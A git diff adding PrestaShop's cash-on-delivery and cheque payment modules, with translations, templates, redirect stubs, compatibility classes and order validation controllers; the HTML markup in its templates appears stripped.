+$_MODULE['<{cashondelivery}prestashop>cashondelivery_7a3ef27eb0b1895ebf263ad7dd949fb6'] = 'Accepte le paiement lors de la livraison'; +$_MODULE['<{cashondelivery}prestashop>validation_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Frais d\'expédition'; +$_MODULE['<{cashondelivery}prestashop>validation_0c25b529b4d690c39b0831840d0ed01c'] = 'Récapitulatif de commande'; +$_MODULE['<{cashondelivery}prestashop>validation_d538c5b86e9a71455ba27412f4e9ab51'] = 'Paiement comptant à la livraison'; +$_MODULE['<{cashondelivery}prestashop>validation_8861c5d3fa54b330d1f60ba50fcc4aab'] = 'Vous avez choisi de régler comptant lors de la livraison de la commande.'; +$_MODULE['<{cashondelivery}prestashop>validation_e2867a925cba382f1436d1834bb52a1c'] = 'Le montant total de votre commande s\'élève à'; +$_MODULE['<{cashondelivery}prestashop>validation_1f87346a16cf80c372065de3c54c86d9'] = 'TTC'; +$_MODULE['<{cashondelivery}prestashop>validation_0881a11f7af33bc1b43e437391129d66'] = 'Merci de confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{cashondelivery}prestashop>validation_569fd05bdafa1712c4f6be5b153b8418'] = 'Autres moyens de paiement'; +$_MODULE['<{cashondelivery}prestashop>validation_46b9e3665f187c739c55983f757ccda0'] = 'Je confirme ma commande'; +$_MODULE['<{cashondelivery}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Votre commande sur'; +$_MODULE['<{cashondelivery}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'est bien enregistrée.'; +$_MODULE['<{cashondelivery}prestashop>confirmation_8861c5d3fa54b330d1f60ba50fcc4aab'] = 'Vous avez choisi le paiement lors de la livraison.'; +$_MODULE['<{cashondelivery}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Votre commande vous sera envoyée très prochainement.'; +$_MODULE['<{cashondelivery}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire merci de contacter notre'; +$_MODULE['<{cashondelivery}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'support client'; +$_MODULE['<{cashondelivery}prestashop>payment_b7ada96a0da7ee7fb5371cca0b036d5c'] = 'Payer comptant à la livraison'; +$_MODULE['<{cashondelivery}prestashop>payment_536dc7424180872c8c2488ae0286fb53'] = 'Vous payez lors de la livraison de votre commande'; diff --git a/modules/cashondelivery/translations/index.php b/modules/cashondelivery/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cashondelivery/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cashondelivery/views/index.php b/modules/cashondelivery/views/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cashondelivery/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cashondelivery/views/templates/front/index.php b/modules/cashondelivery/views/templates/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cashondelivery/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cashondelivery/views/templates/front/validation.tpl b/modules/cashondelivery/views/templates/front/validation.tpl new file mode 100755 index 0000000..72c88cb --- /dev/null +++ b/modules/cashondelivery/views/templates/front/validation.tpl @@ -0,0 +1,57 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Shipping' mod='cashondelivery'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Order summation' mod='cashondelivery'}

        + +{assign var='current_step' value='payment'} +{include file="$tpl_dir./order-steps.tpl"} + +

        {l s='Cash on delivery (COD) payment' mod='cashondelivery'}

        + +
        + +

        + {l s='Cash on delivery (COD) payment' mod='cashondelivery'} + {l s='You have chosen the cash on delivery method.' mod='cashondelivery'} +

        + {l s='The total amount of your order is' mod='cashondelivery'} + {convertPrice price=$total} + {if $use_taxes == 1} + {l s='(tax incl.)' mod='cashondelivery'} + {/if} +

        +

        +

        +

        + {l s='Please confirm your order by clicking \'I confirm my order\'' mod='cashondelivery'}. +

        +

        + {l s='Other payment methods' mod='cashondelivery'} + +

        +
        diff --git a/modules/cashondelivery/views/templates/hook/confirmation.tpl b/modules/cashondelivery/views/templates/hook/confirmation.tpl new file mode 100755 index 0000000..3d0f5c5 --- /dev/null +++ b/modules/cashondelivery/views/templates/hook/confirmation.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='Your order on' mod='cashondelivery'} {$shop_name} {l s='is complete.' mod='cashondelivery'} +

        + {l s='You have chosen the cash on delivery method.' mod='cashondelivery'} +

        {l s='Your order will be sent very soon.' mod='cashondelivery'} +

        {l s='For any questions or for further information, please contact our' mod='cashondelivery'} {l s='customer support' mod='cashondelivery'}. +

        diff --git a/modules/cashondelivery/views/templates/hook/index.php b/modules/cashondelivery/views/templates/hook/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cashondelivery/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cashondelivery/views/templates/hook/payment.tpl b/modules/cashondelivery/views/templates/hook/payment.tpl new file mode 100755 index 0000000..9f6f3f9 --- /dev/null +++ b/modules/cashondelivery/views/templates/hook/payment.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        + + {l s='Pay with cash on delivery (COD)' mod='cashondelivery'} +
        {l s='Pay with cash on delivery (COD)' mod='cashondelivery'} +
        {l s='You pay for the merchandise upon delivery' mod='cashondelivery'} +
        +
        +

        \ No newline at end of file diff --git a/modules/cashondelivery/views/templates/index.php b/modules/cashondelivery/views/templates/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cashondelivery/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cheque/backward_compatibility/Context.php b/modules/cheque/backward_compatibility/Context.php new file mode 100755 index 0000000..0a7b372 --- /dev/null +++ b/modules/cheque/backward_compatibility/Context.php @@ -0,0 +1,347 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + require_once(_PS_MODULE_DIR_ . '/mobile_theme/Mobile_Detect.php'); + +// Retro 1.3, 'class_exists' cause problem with autoload... +if (version_compare(_PS_VERSION_, '1.4', '<')) +{ + // Not exist for 1.3 + class Shop extends ObjectModel + { + public $id = 1; + public $id_shop_group = 1; + + public function __construct() + { + } + + + public static function getShops() + { + return array( + array('id_shop' => 1, 'name' => 'Default shop') + ); + } + + public static function getCurrentShop() + { + return 1; + } + } + + class Logger + { + public static function AddLog($message, $severity = 2) + { + $fp = fopen(dirname(__FILE__).'/../logs.txt', 'a+'); + fwrite($fp, '['.(int)$severity.'] '.Tools::safeOutput($message)); + fclose($fp); + } + } + +} + +// Not exist for 1.3 and 1.4 +class Context +{ + /** + * @var Context + */ + protected static $instance; + + /** + * @var Cart + */ + public $cart; + + /** + * @var Customer + */ + public $customer; + + /** + * @var Cookie + */ + public $cookie; + + /** + * @var Link + */ + public $link; + + /** + * @var Country + */ + public $country; + + /** + * @var Employee + */ + public $employee; + + /** + * @var Controller + */ + public $controller; + + /** + * @var Language + */ + public $language; + + /** + * @var Currency + */ + public $currency; + + /** + * @var AdminTab + */ + public $tab; + + /** + * @var Shop + */ + public $shop; + + /** + * @var Smarty + */ + public $smarty; + + /** + * @ var Mobile Detect + */ + public $mobile_detect; + + /** + * @var boolean|string mobile device of the customer + */ + protected $mobile_device; + + public function __construct() + { + global $cookie, $cart, $smarty, $link; + + $this->tab = null; + + $this->cookie = $cookie; + $this->cart = $cart; + $this->smarty = $smarty; + $this->link = $link; + + $this->controller = new ControllerBackwardModule(); + if (is_object($cookie)) + { + $this->currency = new Currency((int)$cookie->id_currency); + $this->language = new Language((int)$cookie->id_lang); + $this->country = new Country((int)$cookie->id_country); + $this->customer = new CustomerBackwardModule((int)$cookie->id_customer); + $this->employee = new Employee((int)$cookie->id_employee); + } + else + { + $this->currency = null; + $this->language = null; + $this->country = null; + $this->customer = null; + $this->employee = null; + } + + $this->shop = new ShopBackwardModule(); + + if ((bool)Configuration::get('PS_MOBILE_DEVICE')) + $this->mobile_detect = new Mobile_Detect(); + } + + public function getMobileDevice() + { + if (is_null($this->mobile_device)) + { + $this->mobile_device = false; + if ($this->checkMobileContext()) + { + switch ((int)Configuration::get('PS_MOBILE_DEVICE')) + { + case 0: // Only for mobile device + if ($this->mobile_detect->isMobile() && !$this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + case 1: // Only for touchpads + if ($this->mobile_detect->isTablet() && !$this->mobile_detect->isMobile()) + $this->mobile_device = true; + break; + case 2: // For touchpad or mobile devices + if ($this->mobile_detect->isMobile() || $this->mobile_detect->isTablet()) + $this->mobile_device = true; + break; + } + } + } + + return $this->mobile_device; + } + + protected function checkMobileContext() + { + return isset($_SERVER['HTTP_USER_AGENT']) + && (bool)Configuration::get('PS_MOBILE_DEVICE') + && !Context::getContext()->cookie->no_mobile; + } + + /** + * Get a singleton context + * + * @return Context + */ + public static function getContext() + { + if (!isset(self::$instance)) + self::$instance = new Context(); + return self::$instance; + } + + /** + * Clone current context + * + * @return Context + */ + public function cloneContext() + { + return clone($this); + } + + /** + * @return int Shop context type (Shop::CONTEXT_ALL, etc.) + */ + public static function shop() + { + if (!self::$instance->shop->getContextType()) + return ShopBackwardModule::CONTEXT_ALL; + return self::$instance->shop->getContextType(); + } +} + +/** + * Class Shop for Backward compatibility + */ +class ShopBackwardModule extends Shop +{ + const CONTEXT_ALL = 1; + + public $id = 1; + public $id_shop_group = 1; + + + public function getContextType() + { + return ShopBackwardModule::CONTEXT_ALL; + } + + // Simulate shop for 1.3 / 1.4 + public function getID() + { + return 1; + } + + /** + * Get shop theme name + * + * @return string + */ + public function getTheme() + { + return _THEME_NAME_; + } + + public function isFeatureActive() + { + return false; + } +} + +/** + * Class Controller for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class ControllerBackwardModule +{ + /** + * @param $js_uri + * @return void + */ + public function addJS($js_uri) + { + Tools::addJS($js_uri); + } + + /** + * @param $css_uri + * @param string $css_media_type + * @return void + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + Tools::addCSS($css_uri, $css_media_type); + } + + public function addJquery() + { + if (_PS_VERSION_ < '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.4.4.min.js'); + elseif (_PS_VERSION_ >= '1.5') + $this->addJS(_PS_JS_DIR_.'jquery/jquery-1.7.2.min.js'); + } + +} + +/** + * Class Customer for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class CustomerBackwardModule extends Customer +{ + public $logged = false; + /** + * Check customer informations and return customer validity + * + * @since 1.5.0 + * @param boolean $with_guest + * @return boolean customer validity + */ + public function isLogged($with_guest = false) + { + if (!$with_guest && $this->is_guest == 1) + return false; + + /* Customer is valid only if it can be load and if object password is the same as database one */ + if ($this->logged == 1 && $this->id && Validate::isUnsignedId($this->id) && Customer::checkPassword($this->id, $this->passwd)) + return true; + return false; + } +} diff --git a/modules/cheque/backward_compatibility/Display.php b/modules/cheque/backward_compatibility/Display.php new file mode 100755 index 0000000..3d0ae2d --- /dev/null +++ b/modules/cheque/backward_compatibility/Display.php @@ -0,0 +1,24 @@ += '1.5') + parent::setTemplate($template); + else + $this->template = $template; + } + + // Overload displayContent for 1.4 + public function displayContent() + { + parent::displayContent(); + + echo Context::getContext()->smarty->fetch($this->template); + } +} \ No newline at end of file diff --git a/modules/cheque/backward_compatibility/backward.ini b/modules/cheque/backward_compatibility/backward.ini new file mode 100755 index 0000000..6520fb7 --- /dev/null +++ b/modules/cheque/backward_compatibility/backward.ini @@ -0,0 +1 @@ +version = 0.4 \ No newline at end of file diff --git a/modules/cheque/backward_compatibility/backward.php b/modules/cheque/backward_compatibility/backward.php new file mode 100755 index 0000000..64ceb1f --- /dev/null +++ b/modules/cheque/backward_compatibility/backward.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Backward function compatibility + * Need to be called for each module in 1.4 + */ + +// Get out if the context is already defined +if (!in_array('Context', get_declared_classes())) + require_once(dirname(__FILE__).'/Context.php'); + +// Get out if the Display (BWDisplay to avoid any conflict)) is already defined +if (!in_array('BWDisplay', get_declared_classes())) + require_once(dirname(__FILE__).'/Display.php'); + +// If not under an object we don't have to set the context +if (!isset($this)) + return; +else if (isset($this->context)) +{ + // If we are under an 1.5 version and backoffice, we have to set some backward variable + if (_PS_VERSION_ >= '1.5' && isset($this->context->employee->id) && $this->context->employee->id) + { + global $currentIndex; + $currentIndex = AdminController::$currentIndex; + } + return; +} + +$this->context = Context::getContext(); +$this->smarty = $this->context->smarty; \ No newline at end of file diff --git a/modules/cheque/backward_compatibility/index.php b/modules/cheque/backward_compatibility/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/cheque/backward_compatibility/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cheque/cheque.jpg b/modules/cheque/cheque.jpg new file mode 100755 index 0000000..555f1f3 Binary files /dev/null and b/modules/cheque/cheque.jpg differ diff --git a/modules/cheque/cheque.php b/modules/cheque/cheque.php new file mode 100755 index 0000000..2caefec --- /dev/null +++ b/modules/cheque/cheque.php @@ -0,0 +1,238 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Cheque extends PaymentModule +{ + private $_html = ''; + private $_postErrors = array(); + + public $chequeName; + public $address; + public $extra_mail_vars; + + public function __construct() + { + $this->name = 'cheque'; + $this->tab = 'payments_gateways'; + $this->version = '2.3'; + $this->author = 'PrestaShop'; + + $this->currencies = true; + $this->currencies_mode = 'checkbox'; + + $config = Configuration::getMultiple(array('CHEQUE_NAME', 'CHEQUE_ADDRESS')); + if (isset($config['CHEQUE_NAME'])) + $this->chequeName = $config['CHEQUE_NAME']; + if (isset($config['CHEQUE_ADDRESS'])) + $this->address = $config['CHEQUE_ADDRESS']; + + parent::__construct(); + + $this->displayName = $this->l('Payments by check'); + $this->description = $this->l('This module allows you to accept payments by check.'); + $this->confirmUninstall = $this->l('Are you sure you want to delete these details?'); + + $mobile_enabled = (int)Configuration::get('PS_ALLOW_MOBILE_DEVICE'); + // require(_PS_MODULE_DIR_.$this->name.'/backward_compatibility/backward.php'); + + if ((!isset($this->chequeName) || !isset($this->address) || empty($this->chequeName) || empty($this->address))) + $this->warning = $this->l('"To the order of" and "address" must be configured before using this module.'); + if (!count(Currency::checkPaymentCurrencies($this->id))) + $this->warning = $this->l('No currency has been set for this module'); + + $this->extra_mail_vars = array( + '{cheque_name}' => Configuration::get('CHEQUE_NAME'), + '{cheque_address}' => Configuration::get('CHEQUE_ADDRESS'), + '{cheque_address_html}' => str_replace("\n", '
        ', Configuration::get('CHEQUE_ADDRESS')) + ); + } + public function useMobile() + { + if ((method_exists($this->context, 'getMobileDevice') && $this->context->getMobileDevice()) || Tools::getValue('ps_mobile_site')) + return true; + return false; + } + + public function install() + { + if (!parent::install() || !$this->registerHook('payment') || !$this->registerHook('paymentReturn')) + return false; + return true; + } + + public function uninstall() + { + if (!Configuration::deleteByName('CHEQUE_NAME') || !Configuration::deleteByName('CHEQUE_ADDRESS') || !parent::uninstall()) + return false; + return true; + } + + private function _postValidation() + { + if (Tools::isSubmit('btnSubmit')) + { + if (!Tools::getValue('name')) + $this->_postErrors[] = $this->l('\'The "To the order of" field is required.'); + elseif (!Tools::getValue('address')) + $this->_postErrors[] = $this->l('Address is required.'); + } + } + + private function _postProcess() + { + if (Tools::isSubmit('btnSubmit')) + { + Configuration::updateValue('CHEQUE_NAME', Tools::getValue('name')); + Configuration::updateValue('CHEQUE_ADDRESS', Tools::getValue('address')); + } + $this->_html .= '
        '.$this->l('Settings updated').'
        '; + } + + private function _displayCheque() + { + $this->_html .= ''.$this->l('This module allows you to accept payments by check.').'

        + '.$this->l('If the client chooses this payment method, the order status will change to "Waiting for payment."').'
        + '.$this->l('You will need to manually confirm the order as soon as you receive a check.').'


        '; + } + + private function _displayForm() + { + $this->_html .= + '
        +
        + '.$this->l('Contact details').' + + + + + + + + +
        '.$this->l('Please specify the name and address required for the customer to send payment.').'.

        '.$this->l('To the order of').'
        '.$this->l('Address').'

        +
        +
        '; + } + + public function getContent() + { + $this->_html = '

        '.$this->displayName.'

        '; + + if (Tools::isSubmit('btnSubmit')) + { + $this->_postValidation(); + if (!count($this->_postErrors)) + $this->_postProcess(); + else + foreach ($this->_postErrors as $err) + $this->_html .= '
        '.$err.'
        '; + } + else + $this->_html .= '
        '; + + $this->_displayCheque(); + $this->_displayForm(); + + return $this->_html; + } + + public function hookHeader() + { + if ($this->useMobile()) + { + $id_hook = (int)Configuration::get('PS_MOBILE_HOOK_HEADER_ID'); + if ($id_hook > 0) + { + $module = Hook::getModuleFromHook($id_hook, $this->id); + if (!$module) + $this->registerHook('displayMobileHeader'); + } + } + } + + public function hookDisplayMobileShoppingCartTop($params) + { + return $this->hookPayment($params); + + } + public function hookDisplayMobileHeader() + { + return $this->hookHeader(); + + } + public function hookPayment($params) + { + if (!$this->active) + return; + if (!$this->checkCurrency($params['cart'])) + return; +// echo "test"; +// die(); + $this->smarty->assign(array( + 'this_path' => $this->_path, + 'this_path_ssl' => Tools::getShopDomainSsl(true, true).__PS_BASE_URI__.'modules/'.$this->name.'/' + )); + return $this->display(__FILE__, 'payment.tpl'); + } + + public function hookPaymentReturn($params) + { + if (!$this->active) + return; + + $state = $params['objOrder']->getCurrentState(); + if ($state == Configuration::get('PS_OS_CHEQUE') || $state == Configuration::get('PS_OS_OUTOFSTOCK')) + { + $this->smarty->assign(array( + 'total_to_pay' => Tools::displayPrice($params['total_to_pay'], $params['currencyObj'], false), + 'chequeName' => $this->chequeName, + 'chequeAddress' => Tools::nl2br($this->address), + 'status' => 'ok', + 'id_order' => $params['objOrder']->id + )); + if (isset($params['objOrder']->reference) && !empty($params['objOrder']->reference)) + $this->smarty->assign('reference', $params['objOrder']->reference); + } + else + $this->smarty->assign('status', 'failed'); + return $this->display(__FILE__, 'payment_return.tpl'); + } + + public function checkCurrency($cart) + { + $currency_order = new Currency((int)($cart->id_currency)); + $currencies_module = $this->getCurrency((int)$cart->id_currency); + + if (is_array($currencies_module)) + foreach ($currencies_module as $currency_module) + if ($currency_order->id == $currency_module['id_currency']) + return true; + return false; + } +} diff --git a/modules/cheque/controllers/front/index.php b/modules/cheque/controllers/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cheque/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cheque/controllers/front/payment.php b/modules/cheque/controllers/front/payment.php new file mode 100755 index 0000000..ba9a03d --- /dev/null +++ b/modules/cheque/controllers/front/payment.php @@ -0,0 +1,60 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class ChequePaymentModuleFrontController extends ModuleFrontController +{ + public $ssl = true; + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + $this->display_column_left = false; + parent::initContent(); + + $cart = $this->context->cart; + if (!$this->module->checkCurrency($cart)) + Tools::redirect('index.php?controller=order'); + + $this->context->smarty->assign(array( + 'nbProducts' => $cart->nbProducts(), + 'cust_currency' => $cart->id_currency, + 'currencies' => $this->module->getCurrency((int)$cart->id_currency), + 'total' => $cart->getOrderTotal(true, Cart::BOTH), + 'isoCode' => $this->context->language->iso_code, + 'chequeName' => $this->module->chequeName, + 'chequeAddress' => Tools::nl2br($this->module->address), + 'this_path' => $this->module->getPathUri(), + 'this_path_ssl' => Tools::getShopDomainSsl(true, true).__PS_BASE_URI__.'modules/'.$this->module->name.'/' + )); + + $this->setTemplate('payment_execution.tpl'); + } +} diff --git a/modules/cheque/controllers/front/validation.php b/modules/cheque/controllers/front/validation.php new file mode 100755 index 0000000..e661282 --- /dev/null +++ b/modules/cheque/controllers/front/validation.php @@ -0,0 +1,67 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class ChequeValidationModuleFrontController extends ModuleFrontController +{ + public function postProcess() + { + $cart = $this->context->cart; + + if ($cart->id_customer == 0 || $cart->id_address_delivery == 0 || $cart->id_address_invoice == 0 || !$this->module->active) + Tools::redirect('index.php?controller=order&step=1'); + + // Check that this payment option is still available in case the customer changed his address just before the end of the checkout process + $authorized = false; + foreach (Module::getPaymentModules() as $module) + if ($module['name'] == 'cheque') + { + $authorized = true; + break; + } + + if (!$authorized) + die($this->module->l('This payment method is not available.', 'validation')); + + $customer = new Customer($cart->id_customer); + + if (!Validate::isLoadedObject($customer)) + Tools::redirect('index.php?controller=order&step=1'); + + $currency = $this->context->currency; + $total = (float)$cart->getOrderTotal(true, Cart::BOTH); + + $mailVars = array( + '{cheque_name}' => Configuration::get('CHEQUE_NAME'), + '{cheque_address}' => Configuration::get('CHEQUE_ADDRESS'), + '{cheque_address_html}' => str_replace("\n", '
        ', Configuration::get('CHEQUE_ADDRESS'))); + + $this->module->validateOrder((int)$cart->id, Configuration::get('PS_OS_CHEQUE'), $total, $this->module->displayName, NULL, $mailVars, (int)$currency->id, false, $customer->secure_key); + Tools::redirect('index.php?controller=order-confirmation&id_cart='.(int)$cart->id.'&id_module='.(int)$this->module->id.'&id_order='.$this->module->currentOrder.'&key='.$customer->secure_key); + } +} diff --git a/modules/cheque/controllers/index.php b/modules/cheque/controllers/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cheque/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cheque/index.php b/modules/cheque/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/cheque/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/cheque/logo.gif b/modules/cheque/logo.gif new file mode 100755 index 0000000..2491fb8 Binary files /dev/null and b/modules/cheque/logo.gif differ diff --git a/modules/cheque/logo.png b/modules/cheque/logo.png new file mode 100755 index 0000000..79087a8 Binary files /dev/null and b/modules/cheque/logo.png differ diff --git a/modules/cheque/payment.php b/modules/cheque/payment.php new file mode 100755 index 0000000..f26080a --- /dev/null +++ b/modules/cheque/payment.php @@ -0,0 +1,41 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0 This file is deprecated, use moduleFrontController instead + */ + +/* SSL Management */ +$useSSL = true; + +require('../../config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +// init front controller in order to use Tools::redirect +$controller = new FrontController(); +$controller->init(); + 